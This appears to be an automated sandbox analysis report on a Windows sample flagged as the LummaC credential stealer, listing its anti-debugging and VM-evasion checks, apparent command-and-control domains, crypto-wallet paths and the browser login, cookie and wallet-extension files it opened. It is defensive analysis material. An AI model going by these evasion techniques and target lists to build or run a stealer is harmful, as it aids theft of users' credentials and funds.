Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D77BC second address: 67D77C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D77C0 second address: 67D77F7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FE764FBC4F1h 0x00000010 jp 00007FE764FBC4D1h 0x00000016 jmp 00007FE764FBC4C9h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D77F7 second address: 67D77FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D77FB second address: 67D77FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D77FF second address: 67D7805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8658 second address: 67D865C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC0842 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC0904 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C90A05 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CF67C0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660DCE3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660DDD1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660DCFD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 685CB3E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66114D8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0660D1A6 rdtsc

0_2_0660D1A6

Source: C:\Users\user\Desktop\file.exe TID: 572	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2348	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4592	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5016	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5064	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5424	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6392	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3204	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6936	Thread sleep time: -100050s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2713926161.0000000000C45000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2716193364.0000000001647000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH#i
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2716193364.0000000001690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2716193364.0000000001690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2713926161.0000000000C45000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2179096491.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0660D1A6 rdtsc

0_2_0660D1A6

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: sProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2713926161.0000000000C45000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ?Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2229968361.000000000170D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2230037802.0000000005C78000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4148, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx`
Source: file.exe, 00000000.00000003.2210967593.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2230229939.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\
Source: file.exe, 00000000.00000003.2214693912.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2230229939.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
